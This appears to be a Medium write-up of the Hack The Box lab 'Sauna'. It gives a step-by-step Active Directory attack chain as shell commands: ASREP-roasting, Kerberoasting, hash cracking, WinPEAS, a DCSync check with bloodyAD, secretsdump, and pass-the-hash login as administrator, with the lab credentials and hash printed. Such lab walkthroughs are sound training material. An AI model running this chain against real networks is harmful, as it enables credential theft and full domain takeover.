HTB — Sauna
easy box from Active Directory Exploitation path goes brrrrrrr
Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn’t require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket’s psexec.py in order to gain a shell on the box as NT_AUTHORITY\SYSTEM
Let’s check some ports
nmap -svC -p- $IPWe identify that there is an open HTTP port which shows the HTTP-title as Egotistical Bank and that the domain is EGOTISTICAL-BANK.LOCAL
Using Netexec, we determine that the device name is sauna and that Null Authentication is allowed.
For DNS resolution, add to /etc/hosts
echo "$IP SAUNA EGOTISTICAL-BANK.LOCAL SAUNA.EGOTISTICAL-BANK.LOCAL" | sudo tee -a /etc/hostsLet’s check out the home page we observed in our earlier nmap scan. While there isn’t much going on, we observe that on the about.htmlpage we are given the full name list of current employees.
Since we have a collection of usernames, we need to go ahead and create a workable user list. We will use the tool username-anarchy to do this, or you can use whatever tool you are comfortable with.
sudo git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy/
sudo nano users.txt #input format "firstname lastname"
./username-anarchy -i users.txt > generatedUsers.txtFrom here, we can start enumerating users, groups, and shares via Null Authentication. We discover that we can query information via LDAP so that will be our attack vector.
We will now conduct ASREP-Roasting utilizing Netexec and impacket-GetNPUsers . Both tools produce the same result, which is the $krb5asrep$23$hash for user fsmith
nxc ldap $IP -u generatedUsers.txt -p '' --asreproast roasted.txt
impacket-GetNPUsers -u /opt/username-anarchy/generatedUsers.txt -request -format hashcat -outputfile asrep.txt -dc-ip $IP 'EGOTISTICAL-BANK.LOCAL/'Now we need to crack these ASREP hashes. Per the hashcat documentation, we need to use -m 18200 flag. We will also use the best64.rule, so we have a good chance of cracking it. This produces the password Thestrokes23 for user fsmith
locate *.rule #find the rules on your device
hashcat -m 18200 roasted.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -w 3Now let’s start enumeratings users,groups, shares. We observe that users FSmith & svc_loanmgr are part of Remote Management Users group which means we can utilize WMI to login via evil-winrm. We also observe additional users which may come in handy in the near future.
nxc smb $IP -u fsmith -p 'Thestrokes23' --users
nxc ldap $IP -u fsmith -p 'Thestrokes23' --groups
nxc ldap $IP -u fsmith -p 'Thestrokes23' --groups "Remote Management Users"
nxc ldap $IP -u fsmith -p 'Thestrokes23' --groups "Enterprise Admins"
nxc ldap $IP -u fsmith -p 'Thestrokes23' --groups "Domain Admins"
nxc smb $IP -u fsmith -p 'Thestrokes23' --shares
We know that since we have a domain joined user, we can also conduct Kerberoasting. We attempt to conduct the attack but it appears our clock is out the 5 minute sync from the DC, so we need to change that.
nxc ldap $IP -u fsmith -p 'Thestrokes23' --kerberoasting output.txtSync your clock with the DC
sudo timedatectl set-timezone UTC
nmap --script smb2-time $IP
sudo date -s "$TIME"
dateNow we try again, and we were able to successfully Kerberoast user account HSmith
Now we are going to try to crack the hashes with Hashcat. Per the hashcat documentation, we need to use -m 13100 flag. We will also use the best64.rule, so we have a good chance of cracking it. This produces the password Thestrokes23 for user hsmith
hashcat -m 13100 output.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -w 3Now we need to grab the users flag.
evil-winrm -i $IP -u fsmith -p 'Thestrokes23'
cd ..;cd Desktop
dir
more user.txtNow we need to see what sort of privilege escalation we can conduct utilizing WinPEAS. We find the default password for svc_loanmgr that we identified earlier.
locate winpeas
evil-winrm -i $IP -u fsmith -p 'Thestrokes23'
upload /usr/share/peass/winpeas/winPEASany.exeNow I try to utilize Bloodhound, but it sucks, so I use a bit of Claude to help me parse through it with BloodyAD
nxc ldap $IP -u svc_loanmgr -p 'Moneymakestheworldgoround!' --bloodhound --collection All --dns-server $IPWe must confirm our ObjectSidand then look for ACEs containing:
Get Need’s stories in your inbox
Join Medium for free to get updates from this writer.
1131f6aa → DS-Replication-Get-Changes
1131f6ad → DS-Replication-Get-Changes-All
Any principal listed with both GUIDs has DCSync capability. Default legitimate holders are Domain Controllers, Domain Admins, Enterprise Admins, and SYSTEM. If svc_loanmgr appears, that confirms the escalation path.
bloodyAD -d EGOTISTICAL-BANK.LOCAL -u svc_loanmgr -p 'Moneymakestheworldgoround!' --host 10.129.31.23 get object svc_loanmgr --attr objectSid
bloodyAD -d EGOTISTICAL-BANK.LOCAL -u svc_loanmgr -p 'Moneymakestheworldgoround!' --host 10.129.31.23 get object 'DC=EGOTISTICAL-BANK,DC=LOCAL' --attr nTSecurityDescriptor | sed 's/)(/))\n(/g' | grep -iE "1131f6ad|1131f6aa"Now we go ahead and dump the hashes, utilize Evil-WinRm to grab the root.txt flag.
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@$IP -just-dc-ntlm
evil-winrm -i $IP -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e








